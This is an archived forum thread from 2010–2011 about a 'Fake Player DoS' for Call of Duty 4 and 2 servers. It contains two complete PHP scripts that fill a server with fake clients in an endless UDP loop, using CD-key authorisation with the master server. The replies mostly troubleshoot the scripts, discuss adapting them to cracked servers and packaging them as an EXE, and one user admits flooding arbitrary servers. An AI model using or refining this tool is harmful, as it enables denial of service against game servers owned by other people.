|
Luigi Auriemmaaluigi.org (ARCHIVE-ONLY FORUM!) |
|
It is currently 19 Jul 2012 11:36
|
View unanswered posts | View active topics
Author |
Message |
DPGmaximus
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 22 Apr 2010 09:48 |
|
Joined: 28 Sep 2009 21:30 Posts: 39
|
Hi Soma I tested this with CoD2 and tried the alternative way you mentioned by only using the GUID and not the cd key and I keep getting this:
C:\Users\Maximus\Desktop\cod2filler>php c:\users\maximus\desktop\cod2filler\serv erfill2.php 66.225.232.194 28960 XXXXXXXXXXXXXXXXXXX bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
*I replaced the original cd key with X's for obvious reasons*
I have also tried putting the pb GUID instead of the cd key in the serverfill.bat file instead, but get the same problem.
I noticed that if I get a bunch of bbbbbbbbbbbbbbbbbbbb that it means the cd key is in use, but nobody else has this cd key. Here are the other 2 files:
First one is for the serverfill.php
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
<?php
if (count($_SERVER['argv']) != 4) {
echo ("\n\n" . "Check your arugments. Must start like:" . "\n" . "file.php cod4server cod4serverport key" . "\n\n");
} else {
//generates a random string, in our case the fake players' names function random_letters ($numofletters=8) { $v=""; for($i=0;$i<$numofletters;$i++) $v.=chr(rand(65,90)); return $v; } function getcurrentplayers($serverreply){ if(strstr($serverreply, "\\clients\\") == TRUE){ $exploded = explode("\\", $serverreply); $arraypos = array_search("clients", $exploded) + 1; return $exploded[$arraypos]; } else { return 0; } }
$cod2masterserver = "cod2master.activision.com"; $cod2masterserverport = "20700"; $cod2server = $argv[1]; $cod2serverport = $argv[2]; $cod2key = $argv[3]; $first16key = substr($cod4key, 0, 16); //path to the executable that calculates the guid from the cdkey. be sure to change this to fit your needs. $pbguid = "XXXXXXXXXXXXXXXXXXX"; $masterstring = "\xff\xff\xff\xffgetKeyAuthorize 0 " . $first16key . " PB " . $pbguid; $serverstring = "\xff\xff\xff\xff" . 'getchallenge 0 "' . $pbguid . '"';
//Send master server the key once. If needed again, it will be sent again automatically $udpmaster = fsockopen("udp://" . $cod2masterserver, $cod2masterserverport); fwrite($udpmaster, $masterstring);
//begin sending infinite fake players. "stop" never changes from 0, so the loop continues forever (until you hit ctrl+c) $stop = 0; while($stop == 0){
$fakeplayer = random_letters(); $udpserverfirst = fsockopen("udp://" . $cod2server, $cod2serverport); fwrite($udpserverfirst, $serverstring); stream_set_timeout($udpserverfirst, 1); $udpserverfirstresponse = ''.fread($udpserverfirst, 1400); $udpserverfirstinfo = stream_get_meta_data($udpserverfirst); if ($udpserverfirstinfo['timed_out']) { echo("c"); } else { if(substr($udpserverfirstresponse, 0, 21) != "\xff\xff\xff\xffchallengeResponse"){ if($udpserverfirstresponse == "\xff\xff\xff\xffneedcdkey"){ fwrite($udpmaster, $masterstring); echo ("n"); } else { if($udpserverfirstresponse == "\xff\xff\xff\xfferror\x0aEXE_ERR_CDKEY_IN_USE"){ echo ("b"); } else { echo("u"); }} } else { $challenge = substr($udpserverfirstresponse, 22, 20); $connectstring = ("\xff\xff\xff\xff" . 'connect "\\cg_predictItems\\1\\cl_anonymous\\0\\cl_punkbuster\\1\\cl_voice\\1\\cl_wwwDownload\\1\\rate\\25000\\snaps\\20\\name\\' . $fakeplayer . '\\protocol\\6\\challenge\\' . $challenge . '\\qport\\' . rand(10000, 65534) . '"'); fwrite($udpserverfirst, $connectstring); $finalresponse = ''.fread($udpserverfirst, 1400); if ($finalresponse != "\xff\xff\xff\xffconnectResponse\x20"){ if($finalresponse == "\xff\xff\xff\xfferror\x0aEXE_SERVERISFULL"){ echo("f"); } else { echo("v"); } } else { echo "."; }}}} } ?>
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Here is the 2nd for the serverfill2.php
<?php
if (count($_SERVER['argv']) != 4) { die("\n\n" . "Check your arugments. Must start like:" . "\n" . "file.php cod4server cod4serverport key" . "\n\n"); }
//generates a random string, in our case the fake players' names function random_letters ($numofletters=8) { $v=""; for($i=0;$i<$numofletters;$i++) $v.=chr(rand(65,90)); return $v; }
// parse server reply for current player count function getcurrentplayers($serverreply){ if(strstr($serverreply, "\\clients\\") == TRUE){ $exploded = explode("\\", $serverreply); $arraypos = array_search("clients", $exploded) + 1; return $exploded[$arraypos]; } else { return 0; } }
$cod2masterserver = "cod2master.activision.com"; $cod2masterserverport = "20700"; $cod2server = $argv[1]; $cod2serverport = $argv[2]; $cod2key = $argv[3]; $first16key = substr($cod2key, 0, 16); //path to the executable that calculates the guid from the cdkey. be sure to change this to fit your needs. //you can also just use $pbguid = "YOURGUIDHERE"; if you dont want to use an executable $pbguid = "XXXXXXXXXXXXXXXXXXX"; $masterstring = "\xff\xff\xff\xffgetKeyAuthorize 0 " . $first16key . " PB " . $pbguid; $serverstring = "\xff\xff\xff\xff" . 'getchallenge 0 "' . $pbguid . '"';
//Send master server the key once. If needed again, it will be sent again automatically $udpmaster = fsockopen("udp://" . $cod2masterserver, $cod2masterserverport); fwrite($udpmaster, $masterstring);
//begin sending infinite fake players. "stop" never changes from 0, so the loop continues forever (until you hit ctrl+c) $stop = 0; while($stop == 0){
//get the current player count $querydata = "\xff\xff\xff\xff\x67\x65\x74\x69\x6e\x66\x6f\x20\x78\x78\x78"; $getplayercountsocket = fsockopen("udp://" . $cod2server, $cod2serverport); fwrite($getplayercountsocket, $querydata); stream_set_timeout($getplayercountsocket, 1); $getplayercountsocketresponse = ''.fread($getplayercountsocket, 1400); $getplayercountsocketinfo = stream_get_meta_data($getplayercountsocket); //if the server doesn't reply with a player count, we timeout and echo "c". no fake player is added. if ($getplayercountsocketinfo['timed_out']) { echo("c"); } else { //the server did reply with a player count like it should. we continue normally $currentplayers = getcurrentplayers($getplayercountsocketresponse); //if there are less than 10 current players, we will add a fake player. otherwise, we won't do anything except echo "q" if($currentplayers < 10){ $fakeplayer = random_letters(); $udpserverfirst = fsockopen("udp://" . $cod2server, $cod2serverport); fwrite($udpserverfirst, $serverstring); stream_set_timeout($udpserverfirst, 1); $udpserverfirstresponse = ''.fread($udpserverfirst, 1400); $udpserverfirstinfo = stream_get_meta_data($udpserverfirst); if ($udpserverfirstinfo['timed_out']) { echo("c"); } else { if(substr($udpserverfirstresponse, 0, 21) != "\xff\xff\xff\xffchallengeResponse"){ if($udpserverfirstresponse == "\xff\xff\xff\xffneedcdkey"){ fwrite($udpmaster, $masterstring); echo ("n"); } else { if($udpserverfirstresponse == "\xff\xff\xff\xfferror\x0aEXE_ERR_CDKEY_IN_USE"){ echo ("b"); } else { echo("u"); }} } else { $challenge = substr($udpserverfirstresponse, 22, 20); $connectstring = ("\xff\xff\xff\xff" . 'connect "\\cg_predictItems\\1\\cl_anonymous\\0\\cl_punkbuster\\1\\cl_voice\\1\\cl_wwwDownload\\1\\rate\\25000\\snaps\\20\\name\\' . $fakeplayer . '\\protocol\\6\\challenge\\' . $challenge . '\\qport\\' . rand(10000, 65534) . '"'); fwrite($udpserverfirst, $connectstring); $finalresponse = ''.fread($udpserverfirst, 1400); if ($finalresponse != "\xff\xff\xff\xffconnectResponse\x20"){ if($finalresponse == "\xff\xff\xff\xfferror\x0aEXE_SERVERISFULL"){ echo("f"); } else { echo("v"); } } else { echo "."; }}} } else { sleep(1); echo("q"); } } } ?>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Any help from Soma or anyone else who is familiar with this is much appreciated. Thanks.
|
|
Top |
|
|
|
|
|
|
|
DPGmaximus
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 22 Apr 2010 11:15 |
|
Joined: 28 Sep 2009 21:30 Posts: 39
|
Alright, I just tried it now and got vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv instead of bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb. When it spams vvvvvvvvvvvvvvv I saw it means the server is full, but there is no way the server is full because it shows that its empty...
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 25 Apr 2010 01:59 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
"v" means the server sent the script an unknown reply after the client sent the connectstring. Use a packet sniffer to see what the server sent you, usually the message will be self explanatory. Feel free to post it here if not and I'll see what I can find out.
|
|
Top |
|
|
DPGmaximus
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 28 Apr 2010 09:15 |
|
Joined: 28 Sep 2009 21:30 Posts: 39
|
I have a packet sniffer, but I don't understand what the server is saying if its saying anything at all really.
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 04 May 2010 19:31 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
Post some pcap files of your sniffing session if you can please.
|
|
Top |
|
|
treeeater
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 25 May 2010 20:21 |
|
Joined: 25 May 2010 02:15 Posts: 6
|
hmmmm i get cccccccccccccccccc i have tryed messing with firewalls different servers other then myin cant seem to get it working. it be maybe v of php? i have PHP 5.2.13
cd \php php c:\test\fillserver.php ip port cdkey
is that right?
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 26 May 2010 02:49 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
That's correct.
"c" means it timed out waiting for the server to reply. Check the IP and port of the server, or try a different server and see what happens. Could also be a firewall blocking access.
|
|
Top |
|
|
treeeater
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 26 May 2010 03:50 |
|
Joined: 25 May 2010 02:15 Posts: 6
|
the server im trying to use it has no pb on it its on the cod2 v1.0 i wanted this too work bad ;(
1 time i got "b" most of the time i get "v" now
plz
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 30 May 2010 06:33 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
My script will only work for CoD4.
With some modifications you might be able to get it working for CoD2. I don't have the game so I can't do any testing.
|
|
Top |
|
|
DPGmaximus
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 31 May 2010 07:21 |
|
Joined: 28 Sep 2009 21:30 Posts: 39
|
I have an extra store bought CD key for CoD2 that I can give you Soma if you would like to test this out for CoD2?
|
|
Top |
|
|
DPGmaximus
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 03 Jun 2010 13:34 |
|
Joined: 28 Sep 2009 21:30 Posts: 39
|
For some reason this fake client keeps timing out now...
At first I thought it might be a CoD4 admin who might have banned one of the fake clients by mistake on our server, but this is no longer the case since I tried another cd key and got the same problem.
I thought maybe my ip range was blocked so I had one of my friends test it and he keeps getting cccccccccccccccccccc instead of qqqqqqqqqqqqqqqqqqqq
So I tried this on another server that I have saved to my favorites that was empty and got the same problem. I thought maybe it was the master server that was down so I tried to see if I could find our server on the in game browser and I was able to.
I tried pinging cod4master.activision.com but, it keeps timing out. Maybe this is the reason?
I hope this is just a temporary thing and is fixed soon. Anyone have any ideas of what this could be? Thanks.
|
|
Top |
|
|
DPGmaximus
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 03 Jun 2010 15:30 |
|
Joined: 28 Sep 2009 21:30 Posts: 39
|
I just tried this a few minutes ago with the original cd key ive been using this entire time and I got qqqqqqqqqqqqqqqq on a random server. However, when I went back to my other computer that I have the fake client running as a dedicated server I got bbbbbbbbbbbbbbb which means the cd key is in use. Only problem is nobody has this cd key. So I then changed the cd key to another cd key that I have and it worked fine. So now both our CoD4 HC TDM and regular mode S&D servers are running the fake client once again which is good, but I would still like to see why my original key is working on the random server and not on ours.
My guess is that the cod4 master server was down for a while, but is now back up.
|
|
Top |
|
|
ScrewYouCookie
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 14 Jun 2010 22:13 |
|
Joined: 14 Jun 2010 22:10 Posts: 1
|
It doesn't work for me, it just keeps on saying C, Could i PM you with the file and what i've done, in case you still check these forums.
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 17 Jun 2010 05:04 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
"c" means the server didn't reply with a challenge. Check your IP and port of the server. Also, disable any firewalls between you and the internet. Other than that, I can't help you any more. The script has worked fine for many so you will need to play process of elimination to find out what is at fault.
|
|
Top |
|
|
VeximalGaming
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 26 Jun 2010 05:41 |
|
Joined: 26 Jun 2010 05:32 Posts: 1
|
I have to admit that this is a great tool and I have been successful in using this, but I still have one question. When I use it on my computer the tool works exactly how it is designed to work, but when I use it on the local machine the CoD4 server is running, I receive "n" over and over again. This is a server box running Windows Server 2008 R2 and the source code used is the same as given in the first post with only directories changed. I have changed the directories accordingly on the box and I cannot see any errors from what I did on my computer while testing this. I have also used "localhost" as the IP address to the server and that was to no avail. What would be the problem?
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 29 Jun 2010 01:37 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
Sounds like the master server isn't seeing your cd-key. Check that you and/or your provider don't have any firewalls blocking communication to cod4master.activision.com on port 20800.
|
|
Top |
|
|
DPGmaximus
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 01 Jul 2010 04:35 |
|
Joined: 28 Sep 2009 21:30 Posts: 39
|
Soma is there any way you would be willing to try to get this working for CoD1 and CoD2? I have a couple extra cd keys that I could give you if you would like to try.
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 09 Jul 2010 14:44 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
I could take a look, PM me what you got. Might be a few days though as I've been a bit busy lately with work & personal life.
|
|
Top |
|
|
sickb
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 07 Dec 2010 22:14 |
|
Joined: 07 Dec 2010 22:05 Posts: 1
|
good job, it works fine on my cod4 server, could we use the same script for a cracked server? how can we fix the code to keep it works? thank for help & sorry for bad english.
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 09 Dec 2010 04:55 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
I'm sure this will work fine on a cracked server. Might need to tweak the packets, but a bit of packet sniffing while connecting to a cracked server will show you what the packets need to look like.
|
|
Top |
|
|
shaheer
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 12 Mar 2011 08:57 |
|
Joined: 12 Mar 2011 08:55 Posts: 1
|
Soma I appreciate ur work but i have one problem When i send fake players on my server by php cod4.php 192.168.1.2 28961 USEQ****************** i get vvvvfvvfvvvfvvvvvvvvvvvvvvvvvvvvvvvcccvc but when i send on anathor servers i only get cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc cccccccccccccccccccccccccccccc please help me
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 26 Mar 2011 23:53 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
Do a packet sniff with Wireshark while the script is running and post it so I can see exactly what the server is communicating to your script.
|
|
Top |
|
|
Hester
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 22 Apr 2011 08:03 |
|
Joined: 22 Apr 2011 07:18 Posts: 5
|
Thanks so much SomaFm for posting this, I am very new to PhP but I have got it working. I can flood pretty much any server, for educational purposes of course :). I can't get the x amount of people thing to work. Either it doesnt start or just floods the server infinity. It's my server, and I have tried every example you have showed. Could you possibly just show me how the x amount of people code fits in the cod4keytoguid.php
Thanks man I have been trying to get this for weeks.
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 23 Apr 2011 05:41 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
No problem, happy to help. The concept is quite simple, so writing code shouldn't be too difficult: - Check the server for fake players before adding one. - If the count is < X add a player, otherwise do nothing and goto the beginning of the loop. X is whatever you want your player count to be. My sample code is here: http://pastebin.com/f1d006d22I tested that when I wrote it, and it was working fine on a few servers. Though there is always the possibility that small tweaks and adjustments need to be made because of unique stuff that your server does.
|
|
Top |
|
|
Hester
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 23 Apr 2011 08:27 |
|
Joined: 22 Apr 2011 07:18 Posts: 5
|
I have got your sample code, in the cod4keytoguid.php
Like I said before I am noobish when it comes to php so i downloaded someone elses .bat file You don't have to download it its just a .bat file with their cod4.php file its the same codes and they gave you credit, its just when i use it with any server i get spam uuuuu.
Would I copy your sample code into the cod4.php? for some reason it is not working, or may I borrow your files, which would make my life and yours a lot easier and I would be sooooo greatful! :)
I just want to populate my server with just like 4 people. Just to keep it busy, there is not to many active promod servers anymore so I am just trying to help out the community :).
I really do appreciate the help.
Last edited by Hester on 02 Jul 2011 06:10, edited 2 times in total.
|
|
Top |
|
|
SomaFM
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 25 Apr 2011 01:21 |
|
Joined: 16 Aug 2007 06:25 Posts: 367
|
"u" means the server sent a reply that the script doesn't handle. Running Wireshark and seeing what the server is sending you helps a ton. I don't do much customizing beyond what I've already provided in this thread because it's just an example. Sorry. But if you can post some pcap files from wireshark showing what the server is sending you that would help a ton.
|
|
Top |
|
|
krasnal
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 24 May 2011 17:38 |
|
Joined: 26 Mar 2011 14:28 Posts: 8
|
Can some1 upload a WORKING file and put link here ?
|
|
Top |
|
|
Hester
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 24 May 2011 20:33 |
|
Joined: 22 Apr 2011 07:18 Posts: 5
|
Soma thanks for the sample code its working partially. I change the current players to like 1 and I am in the server and it spams q like normal. But it wont add any players it just spams uuuuuuu... etc. Do you know what could be the problem.
Oh and to answer your question krasnal i used the following link that works perfectly it just spams infinity so I am trying to get it to only spam a few.
Soma is there a way without getting the # of players from server that it can just spam 3 or 4 people no matter what even if the server is full? Thanks again bro
Last edited by Hester on 02 Jul 2011 06:10, edited 1 time in total.
|
|
Top |
|
|
Hester
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 24 May 2011 21:02 |
|
Joined: 22 Apr 2011 07:18 Posts: 5
|
Nevermind I got it working so stoked. What was wrong i had the wrong path to the key2guid file so thanks sooooo much! Your a lifesaver!
|
|
Top |
|
|
wocarin
|
Post subject: Re: Fake Player DoS -- COD4 Posted: 27 May 2011 03:16 |
|
Joined: 27 Apr 2011 18:44 Posts: 47
|
Dead Hester hello. It was nice to make a 'simpler' version of SomaFM's script but I think you can make it simpler. My suggestion is that instead of adding the PHP components into the ZIP, just 'compile it' with: http://www.phpcompiler.org/http://www.bambalam.se/bamcompile/ - I tried this and works pretty good. I say 'compile' because, the program just adds the php interpreter and the required components into the EXE. Good Luck and I hope that this suggestion helps :D
|
|
Top |
|
|
|
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot post attachments in this forum
|
|